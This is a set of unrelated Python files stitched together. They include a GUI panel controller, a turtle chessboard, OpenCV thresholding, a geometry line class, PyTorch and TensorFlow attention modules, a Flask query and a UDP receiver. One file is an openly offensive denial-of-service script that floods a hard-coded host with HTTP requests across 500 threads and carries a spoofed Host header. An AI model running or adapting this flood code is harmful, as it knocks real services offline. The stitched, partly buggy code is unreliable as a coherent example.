        self.gui.options_window.ctl=self.gui.options_window.current_dataset.opts
    @on_trait_change('gui:configure_scalars_window:current_dataset')
    def configure_scalars_window_ctl_listener(self):
        csw=self.gui.configure_scalars_window
        csw.ctl=csw.current_dataset.scalar_display_settings

    ##########################################################
    #viewport allocation
    def add_dataset(self,ds,display_metadata,panel=None,group=None):
        '''Given a dataset, add it to the controller.  If panel and group
           are specified, add it to that panel, otherwise any panel will do'''
        if ds.name in self.ds_instances:
            raise CVUError('A dataset with this name already exists')

        if panel is None and group is None:
            panel_ref = self._create_new_panel(ds.name)
            panel = panel_ref.panel_name
            group = 2 if panel_ref.is_full(group=1) else 1
        elif group is not None:
            raise CVUError('Cannot specify group without panel')
        elif panel is not None:
            panel_ref = self.get_named_panel(panel)
            if panel_ref.is_full():
                raise CVUError('That panel is full')
            group = 2 if panel_ref.is_full(group=1) else 1
        else:
            panel_ref = self.get_named_panel(panel)

        panel_ref.populate(ds,group=group)	#group can be none, doesnt matter

        ds_meta = DatasetUIMetadata(self,panel,ds.name,display_metadata)
        self.ds_instances.update({ds.name:ds})
        self.ds_metadatae.update({ds.name:ds_meta})
        self.panel_instances.update({panel_ref.panel_name:panel_ref})
        self.panel_metadatae.update({panel_ref.panel_name:ds_meta})

        self.show_panel(panel_ref)

    def show_panel(self,panel):
        panel.edit_traits(panel.produce_view())

    def rebuild_panel(self,panel_name):
        '''we havent actually destroyed the editor here.
            have to destroy the panel and create a new one.
            otherwise the panel still refers to the wrong editor'''

        panel=self.panel_instances[panel_name]

        #have the panel dispose of itself if necessary
        panel.conditionally_dispose()

        #find the associated dataset and reset its DataViews
        ds=self._get_dataset_from_panel(panel)
        ds.reset_dataviews()

        #actually ask the panel to drop the old references to the editor
        panel.populate(ds,force=True)

        #then show the panel
        self.show_panel(panel)

    def rename_panel(self,old_name,new_name):
        try:
            panel = self.panel_instances[old_name]
            ds_meta = self.panel_metadatae[old_name]
        except KeyError:
            raise CVUError('No such panel')
        del self.panel_instances[old_name]
        del self.panel_metadatae[old_name]
        self.panel_instances.update({new_name:panel})
        self.panel_metadatae.update({new_name:ds_meta})
        panel.panel_name = new_name

    def rename_dataset(self,old_name,new_name):
        try:
            ds = self.ds_instances[old_name]
            ds_meta = self.ds_metadatae[old_name]
        except KeyError:
            raise CVUError('No such dataset')
        del self.ds_instances[old_name]
        del self.ds_metadatae[old_name]
        self.ds_instances.update({new_name:ds})
        self.ds_metadatae.update({new_name:ds_meta})
        ds.name = new_name

    def find_dataset_views(self,ds):
        '''Given a dataset, return the three viewports that refer to it'''
        ds_meta = self.ds_metadatae[ds.name]
        panel=self.panel_instances[ds_meta.panel]

        from viewport import DatasetViewportInterface
        #if panel is base gui, return it
        if isinstance(panel,DatasetViewportInterface): layout_obj=panel
        #otherwise, return its group
        else: layout_obj = panel.group_1
        return layout_obj

    def update_display_metadata(self,ds_name,subject_name=None,parc_name=None,
            adj_filename=None):
        ds_meta=self.ds_metadatae[ds_name]
        if subject_name is not None:
            ds_meta.display_metadata.subject_name=subject_name
        if parc_name is not None:
            ds_meta.display_metadata.parc_name=parc_name
        if adj_filename is not None:
            ds_meta.display_metadata.adj_filename=adj_filename

    def remove_dataset(self,ds_name):
        #remove the metadata elements associated with this dataset
        ds_meta = self.ds_metadatae[ds_name]
        panel_name = ds_meta.panel

        #dispose of the window if necessary
        panel = self.panel_instances[panel_name]
        panel.conditionally_dispose()

        ds = self.ds_instances[ds_name]
        self.gui.reset_controls(ds)

        try:
            del self.ds_instances[ds_name]
            del self.ds_metadatae[ds_name]
            del self.panel_instances[panel_name]
            del self.panel_metadatae[panel_name]
        except KeyError as e:
            raise CVUError('Inconsistent metadata')

    #internal methods for panel manipulation
    def _get_named_panel(self,panel_name):
        try:
            return self.panel_instances[panel_name]
        except KeyError as e:
            raise CVUError('No such panel')

    def _get_dataset_from_panel(self,panel):
        ds_meta = self.panel_metadatae[panel.panel_name]
        return self._get_named_dataset(ds_meta.ds_name)

    def _get_named_dataset(self,ds_name):
        try:
            return self.ds_instances[ds_name]
        except KeyError as e:
            raise CVUError('No such dataset')

    #panel creation
    def __ctr_generate():
        i=0
        while True:
            i+=1
            yield i
    __ctr_generator = Any(__ctr_generate())
    def _panel_counter(self):
        return self.__ctr_generator.next()

    def _create_new_panel(self,ds_name):
        panel_name='Extra View %i'%self._panel_counter()
        #panel = ViewPanel(panel_name=panel_name)
        #self.panel_instances[panel_name]=panel
        panel = ViewPanel(panel_name=ds_name)
        self.panel_instances[ds_name]=panel
        return panel

    def _destroy_panel(self,name):
        del self.panel_instances[name]

    #error messages
    def error_dialog(self,message):
        return self.gui.error_dialog(message)
    def warning_dialog(self,message):
        return self.gui.warning_dialog(message)
    def verbose_msg(self,message):
        return self.gui.verbose_msg(message)


from turtle import *

def draw_square(chess):
	chess.begin_fill()
	for i in range(4):
		chess.left(90)
		chess.fd(50)
	chess.end_fill()

def draw_row(chess, row):
	for y in range(8):
		if (x + y) % 2 == 0:
			chess.fillcolor("black")
		else:
			chess.fillcolor("white")

		chess.pu()
		chess.setpos(y * 50 + start_x, x * 50 + start_y)
		chess.pd()
		draw_square(chess)

chess = Turtle()
chess.speed(0)
start_x = -200
start_y = -200
chess.pu()
chess.setpos(start_x, start_y)
chess.pd()

for x in range(8):
	draw_row(chess = chess,row = x)
exitonclick()


import cv2
from matplotlib import pyplot as plt

img = cv2.imread('gradient.png', 0)
_, th1 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)
_, th2 = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV)
_, th3 = cv2.threshold(img, 127, 255, cv2.THRESH_TRUNC)  # the image pixel density will remain 127 after 127th pixel
# the pixel value will be zero for all the pixel density smaller than 127
_, th4 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO)
_, th5 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO_INV)

titles = ['Original Image', 'BINARY', 'BINARY_INV', 'TRUNC', 'TOZERO', 'TOZERO_INV']
images = [img, th1, th2, th3, th4, th5]

for i in range(6):
    plt.subplot(2, 3, i+1)
    plt.imshow(images[i], 'gray')
    plt.title(titles[i])
    plt.xticks([])
    plt.yticks([])

plt.show()
cv2.waitKey(0)
cv2.destroyAllWindows()


#send
import threading
import socket

target = '192.168.1.1'

#depend on the type of the attack that going to perform
port = 80

fake_ip = ''

#sending the request with the fake ip address
def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,port))
        s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode('ascii'),(target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'),(target,port))
        s.close()

for i in range(500):
    thread = threading.Thread(target=attack())
    thread.start()


import numpy as np
from math import sqrt, hypot

from .point import Point
from .vector import Vector

class Line():

    def __init__(self, *args):
        """ Constructs a line object. If 2 arguments given it is constructed
        between two points. If 3 arguments are given it is constructed from
        start point, direction vector and length along the vector.
        """
        if len(args) == 2:
            self.by2Points(args[0], args[1])
        elif len(args) == 3:
            self.bySDL(args[0], args[1], args[2])

    def by2Points(self, start=Point([0,0]), end=Point([1,1])):
        # Convert to geom classes if lists given
        if type(start) in [list,tuple]:
            start = Point(start)
        if type(end) in [list,tuple]:
            end = Point(end)
        self.start = start
        self.end = end

    def bySDL(self, start=Point(0,0), direction=Vector(1,0), length=2):
        # Convert to geom classes if lists given
        if type(start) in [list, tuple, Vector]:
            start = Point(start)
        if type(direction) in [list, tuple, Point]:
            direction = Vector(direction)

        self.start = start

        #Normalize direction vector and set it to correct length
        move_vector = Vector(direction).set_length(length)
        self.end = self.start + move_vector

    def __str__(self):
        return "Line(start=%s, end=%s)"%(self.start,self.end)

    def length(self):
        line_vector = self.end-self.start
        return hypot(line_vector[0], line_vector[1])

    def intersects(self, line):
        """ function computes the point of collision between self and line.
        Input: line

        Returns:
        Tuple of coordinates (x,y,z) for the point of collision. If no collision
        exists, (None,None,None) is returned. """

        # Definitions
        def overlap(a, b):
            return max(0, min(a[1], b[1]) - max(a[0], b[0]))

        p, p2 = np.array(self.start), np.array(self.end)
        q, q2 = np.array(line.start), np.array(line.end)
        r = np.subtract(p2, p)
        s = np.subtract(q2, q)
        qpr = np.cross(np.subtract(q, p), r)
        rs = np.cross(r, s)

        # Determine if Directions intersect
        if np.all(rs == 0) and np.all(qpr == 0):
            #lines are colinear (ligger på linie)
            t0 = np.dot(np.subtract(line.start, p), r) / np.dot(r, r)
            t1 = t0 + np.dot(s, r) / np.dot(r, r)
            if overlap([0.,1.], [t0,t1]) > 0:
                # colinear and overlapping (på linie og oveni hinanden)
                return (np.inf, np.inf)
            else:
                # colinear and disjoint (på linie men efter hinanden)
                return (None,None)

        # Determine if Directions intersect
        elif np.all(rs == 0):
            # Parallel and non-intersecting
            return (None,None)

        # Determine if segments intersect
        t = np.divide(np.cross(np.subtract(q,p),s),rs)
        u = np.divide(qpr, rs)
        if not np.all(qpr == 0) and 0 >= t or t >= 1 or 0 >= u or u >= 1:
            # Not parallel but do not intersect
            return (None,None)

        # Calculate point of intersection
        intersection = (line.start + u*s)

        return intersection

if __name__ == "__main__":
    line = Line([0,0],[10,10])
    print(line)

    line2 = Line([10,0],[-0.5, 0.5], 14.14)
    print(line2)

    intersection = line.intersects(line2)
    print(intersection)


import torch
import torch.nn as nn
import torch.nn.functional as F

class Sender(nn.Module):
    def __init__(self, n_hidden, n_features, n_intentions):
        super(Sender, self).__init__()
        self.n_features = n_features
        self.fc1 = nn.Linear(n_features, n_hidden)      # embed input features
        self.fc2 = nn.Linear(n_intentions, n_hidden)      # embed intentions
        self.fc3 = nn.Linear(2 * n_hidden, n_hidden)    # linear layer to merge embeddings

    def forward(self, x, aux_input=None):
        features = x[:, 0:self.n_features]
        intentions = x[:, self.n_features:]
        feature_embedding = F.relu(self.fc1(features))
        intention_embedding = F.relu(self.fc2(intentions))
        joint_embedding = torch.cat([feature_embedding, intention_embedding], dim=1)
        return self.fc3(joint_embedding).tanh()

class Receiver(nn.Module):
    def __init__(self, n_hidden, n_features):
        super(Receiver, self).__init__()
        self.fc1 = nn.Linear(n_features, n_hidden)      # embed input features

    def forward(self, x, features, aux_input=None):
        feature_embeddings = self.fc1(features).tanh()
        energies = torch.matmul(feature_embeddings, torch.unsqueeze(x, dim=-1))
        return energies.squeeze()


import typing
import warnings

import tensorflow as tf

@tf.keras.utils.register_keras_serializable(package="Addons")
class MultiHeadAttention(tf.keras.layers.Layer):
    r"""MultiHead Attention layer.

    Defines the MultiHead Attention operation as described in
    [Attention Is All You Need](https://arxiv.org/abs/1706.03762) which takes
    in the tensors `query`, `key`, and `value`, and returns the dot-product attention
    between them:

    >>> mha = MultiHeadAttention(head_size=128, num_heads=12)
    >>> query = np.random.rand(3, 5, 4) # (batch_size, query_elements, query_depth)
    >>> key = np.random.rand(3, 6, 5) # (batch_size, key_elements, key_depth)
    >>> value = np.random.rand(3, 6, 6) # (batch_size, key_elements, value_depth)
    >>> attention = mha([query, key, value]) # (batch_size, query_elements, value_depth)
    >>> attention.shape
    TensorShape([3, 5, 6])

    If `value` is not given then internally `value = key` will be used:

    >>> mha = MultiHeadAttention(head_size=128, num_heads=12)
    >>> query = np.random.rand(3, 5, 5) # (batch_size, query_elements, query_depth)
    >>> key = np.random.rand(3, 6, 10) # (batch_size, key_elements, key_depth)
    >>> attention = mha([query, key]) # (batch_size, query_elements, key_depth)
    >>> attention.shape
    TensorShape([3, 5, 10])

    Args:
        head_size: int, dimensionality of the `query`, `key` and `value` tensors
            after the linear transformation.
        num_heads: int, number of attention heads.
        output_size: int, dimensionality of the output space, if `None` then the
            input dimension of `value` or `key` will be used,
            default `None`.
        dropout: float, `rate` parameter for the dropout layer that is
            applied to attention after softmax,
        default `0`.
        use_projection_bias: bool, whether to use a bias term after the linear
            output projection.
        return_attn_coef: bool, if `True`, return the attention coefficients as
            an additional output argument.
        kernel_initializer: initializer, initializer for the kernel weights.
        kernel_regularizer: regularizer, regularizer for the kernel weights.
        kernel_constraint: constraint, constraint for the kernel weights.
        bias_initializer: initializer, initializer for the bias weights.
        bias_regularizer: regularizer, regularizer for the bias weights.
        bias_constraint: constraint, constraint for the bias weights.

    Call Args:
        inputs:  List of `[query, key, value]` where
            * `query`: Tensor of shape `(..., query_elements, query_depth)`
            * `key`: `Tensor of shape '(..., key_elements, key_depth)`
            * `value`: Tensor of shape `(..., key_elements, value_depth)`, optional, if not given `key` will be used.
        mask: a binary Tensor of shape `[batch_size?, num_heads?, query_elements, key_elements]`
        which specifies which query elements can attendo to which key elements,
        `1` indicates attention and `0` indicates no attention.

    Output shape:
        * `(..., query_elements, output_size)` if `output_size` is given, else
        * `(..., query_elements, value_depth)` if `value` is given, else
        * `(..., query_elements, key_depth)`
    """

    def __init__(
        self,
        head_size: int,
        num_heads: int,
        output_size: int = None,
        dropout: float = 0.0,
        use_projection_bias: bool = True,
        return_attn_coef: bool = False,
        kernel_initializer: typing.Union[str, typing.Callable] = "glorot_uniform",
        kernel_regularizer: typing.Union[str, typing.Callable] = None,
        kernel_constraint: typing.Union[str, typing.Callable] = None,
        bias_initializer: typing.Union[str, typing.Callable] = "zeros",
        bias_regularizer: typing.Union[str, typing.Callable] = None,
        bias_constraint: typing.Union[str, typing.Callable] = None,
        **kwargs,
    ):
        warnings.warn(
            "`MultiHeadAttention` will be deprecated in Addons 0.13. "
            "Please use `tf.keras.layers.MultiHeadAttention` instead.",
            DeprecationWarning,
        )

        super().__init__(**kwargs)

        if output_size is not None and output_size < 1:
            raise ValueError("output_size must be a positive number")

        self.head_size = head_size
        self.num_heads = num_heads
        self.output_size = output_size
        self.use_projection_bias = use_projection_bias
        self.return_attn_coef = return_attn_coef

        self.kernel_initializer = tf.keras.initializers.get(kernel_initializer)
        self.kernel_regularizer = tf.keras.regularizers.get(kernel_regularizer)
        self.kernel_constraint = tf.keras.constraints.get(kernel_constraint)
        self.bias_initializer = tf.keras.initializers.get(bias_initializer)
        self.bias_regularizer = tf.keras.regularizers.get(bias_regularizer)
        self.bias_constraint = tf.keras.constraints.get(bias_constraint)

        self.dropout = tf.keras.layers.Dropout(dropout)
        self._droput_rate = dropout

    def build(self, input_shape):

        num_query_features = input_shape[0][-1]
        num_key_features = input_shape[1][-1]
        num_value_features = (
            input_shape[2][-1] if len(input_shape) > 2 else num_key_features
        )
        output_size = (
            self.output_size if self.output_size is not None else num_value_features
        )

        self.query_kernel = self.add_weight(
            name="query_kernel",
            shape=[self.num_heads, num_query_features, self.head_size],
            initializer=self.kernel_initializer,
            regularizer=self.kernel_regularizer,
            constraint=self.kernel_constraint,
        )
        self.key_kernel = self.add_weight(
            name="key_kernel",
            shape=[self.num_heads, num_key_features, self.head_size],
            initializer=self.kernel_initializer,
            regularizer=self.kernel_regularizer,
            constraint=self.kernel_constraint,
        )
        self.value_kernel = self.add_weight(
            name="value_kernel",
            shape=[self.num_heads, num_value_features, self.head_size],
            initializer=self.kernel_initializer,
            regularizer=self.kernel_regularizer,
            constraint=self.kernel_constraint,
        )
        self.projection_kernel = self.add_weight(
            name="projection_kernel",
            shape=[self.num_heads, self.head_size, output_size],
            initializer=self.kernel_initializer,
            regularizer=self.kernel_regularizer,
            constraint=self.kernel_constraint,
        )

        if self.use_projection_bias:
            self.projection_bias = self.add_weight(
                name="projection_bias",
                shape=[output_size],
                initializer=self.bias_initializer,
                regularizer=self.bias_regularizer,
                constraint=self.bias_constraint,
            )
        else:
            self.projection_bias = None

        super().build(input_shape)

    def call(self, inputs, training=None, mask=None):

        # einsum nomenclature
        # ------------------------
        # N = query elements
        # M = key/value elements
        # H = heads
        # I = input features
        # O = output features

        query = inputs[0]
        key = inputs[1]
        value = inputs[2] if len(inputs) > 2 else key

        # verify shapes
        if key.shape[-2] != value.shape[-2]:
            raise ValueError(
                "the number of elements in 'key' must be equal to the same as the number of elements in 'value'"
            )

        if mask is not None:
            if len(mask.shape) < 2:
                raise ValueError("'mask' must have atleast 2 dimensions")
            if query.shape[-2] != mask.shape[-2]:
                raise ValueError(
                    "mask's second to last dimension must be equal to the number of elements in 'query'"
                )
            if key.shape[-2] != mask.shape[-1]:
                raise ValueError(
                    "mask's last dimension must be equal to the number of elements in 'key'"
                )

        # Linear transformations
        query = tf.einsum("...NI , HIO -> ...NHO", query, self.query_kernel)
        key = tf.einsum("...MI , HIO -> ...MHO", key, self.key_kernel)
        value = tf.einsum("...MI , HIO -> ...MHO", value, self.value_kernel)

        # Scale dot-product, doing the division to either query or key
        # instead of their product saves some computation
        depth = tf.constant(self.head_size, dtype=query.dtype)
        query /= tf.sqrt(depth)

        # Calculate dot product attention
        logits = tf.einsum("...NHO,...MHO->...HNM", query, key)

        # apply mask
        if mask is not None:
            mask = tf.cast(mask, tf.float32)

            # possibly expand on the head dimension so broadcasting works
            if len(mask.shape) != len(logits.shape):
                mask = tf.expand_dims(mask, -3)

            logits += -10e9 * (1.0 - mask)

        attn_coef = tf.nn.softmax(logits)

        # attention dropout
        attn_coef_dropout = self.dropout(attn_coef, training=training)

        # attention * value
        multihead_output = tf.einsum("...HNM,...MHI->...NHI", attn_coef_dropout, value)

        # Run the outputs through another linear projection layer. Recombining heads
        # is automatically done.
        output = tf.einsum(
            "...NHI,HIO->...NO", multihead_output, self.projection_kernel
        )

        if self.projection_bias is not None:
            output += self.projection_bias

        if self.return_attn_coef:
            return output, attn_coef
        else:
            return output

    def compute_output_shape(self, input_shape):
        num_value_features = (
            input_shape[2][-1] if len(input_shape) > 2 else input_shape[1][-1]
        )
        output_size = (
            self.output_size if self.output_size is not None else num_value_features
        )

        output_shape = input_shape[0][:-1] + (output_size,)

        if self.return_attn_coef:
            num_query_elements = input_shape[0][-2]
            num_key_elements = input_shape[1][-2]
            attn_coef_shape = input_shape[0][:-2] + (
                self.num_heads,
                num_query_elements,
                num_key_elements,
            )

            return output_shape, attn_coef_shape
        else:
            return output_shape

    def get_config(self):
        config = super().get_config()

        config.update(
            head_size=self.head_size,
            num_heads=self.num_heads,
            output_size=self.output_size,
            dropout=self._droput_rate,
            use_projection_bias=self.use_projection_bias,
            return_attn_coef=self.return_attn_coef,
            kernel_initializer=tf.keras.initializers.serialize(self.kernel_initializer),
            kernel_regularizer=tf.keras.regularizers.serialize(self.kernel_regularizer),
            kernel_constraint=tf.keras.constraints.serialize(self.kernel_constraint),
            bias_initializer=tf.keras.initializers.serialize(self.bias_initializer),
            bias_regularizer=tf.keras.regularizers.serialize(self.bias_regularizer),
            bias_constraint=tf.keras.constraints.serialize(self.bias_constraint),
        )

        return config


from flaskps.db import get_db

class Barrio(object):
    @classmethod
    def all(cls):
        sql = """
            SELECT *
            FROM barrio
        """
        try:
            dbconn = get_db()
            with dbconn.cursor() as cursor:
                cursor.execute(sql)
        finally:
            dbconn.cursor().close()
        return cursor.fetchall()


from threading import Thread
import logging
from socket import timeout
from ..common.packet import MAX_PACKET_SIZE

class ReceiverOrchestrator(Thread):
    def __init__(self, listener_queue, listener_socket, clients):
        super().__init__()
        self.clients = clients
        self.listener_socket = listener_socket
        self.listener_queue = listener_queue
        self.listener_socket.settimeout(1)
        self.working = True

    def run(self):
        try:
            while (self.working):
                try:
                    msg, addr = self.listener_socket.recvfrom(MAX_PACKET_SIZE)
                    if (len(msg) <= 0):
                        continue
                    client = self.clients.get_client(addr)
                    if (client):
                        client.push(msg)
                    else:
                        self.listener_queue.put((msg, addr))
                except timeout:
                    pass
        except OSError:
            logging.error("Server listener is closed.")

    def stop(self):
        self.working = False
        self.join()

    def __del__(self):
        if (self.working):
            self.stop()